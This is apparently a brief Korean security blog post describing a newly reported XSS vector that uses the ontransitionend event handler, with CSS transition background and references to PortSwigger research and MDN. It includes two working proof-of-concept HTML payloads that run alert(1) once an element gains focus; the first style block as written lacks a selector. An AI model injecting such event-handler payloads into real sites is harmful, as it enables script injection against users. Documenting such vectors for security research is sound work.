@garethheyes가 또 새로운 XSS 벡터를 만들어 왔습니다. 바로 ontransitionend 란 이벤트 핸들러인데요. 이 이벤트 핸들러는 transition, 즉 CSS의 애니메이션이 끝날 때 동작하며 동작을 위해선 해당 Element에 포커스 상태가 되어야합니다.

<style>
    display: block;
    transition: outline 1s;
</style>
<xss ontransitionend=alert(1) id=x tabindex=1>test</xss>

위 코드 기반이고, 약간 더 살펴보죠.

CSS Transition

Transition은 CSS에서 속성이 변경될 때 애니메이션 속도를 명시하는 값입니다. 아래와 같이 값으로 동작할 CSS 속성과, 시간 값이 들어가게 됩니다.

transition: <attr> <time>

.body {
    transition: width 2s, height 2s, background-color 2s, transform 2s;
}

Ontransitionend

Ontransitionend은 이벤트 핸들러 중 하나로 CSS의 Transition이 완료될 때 동작합니다.

const transition = document.querySelector('.transition');

transition.addEventListener('transitionend', () => {
  console.log('Transition ended');
});

XSS

아래 코드 삽입 이후 input 영역을 클릭하는 등 focus를 잡게되면 ontransitionend이 동작하면서 alert(1)이 실행됩니다.

<input type=text style="display:block;transition:outline 1s;" ontransitionend=alert(1) id=x tabindex=1>

References

• https://portswigger.net/research/new-xss-vectors
• https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/transitionend_event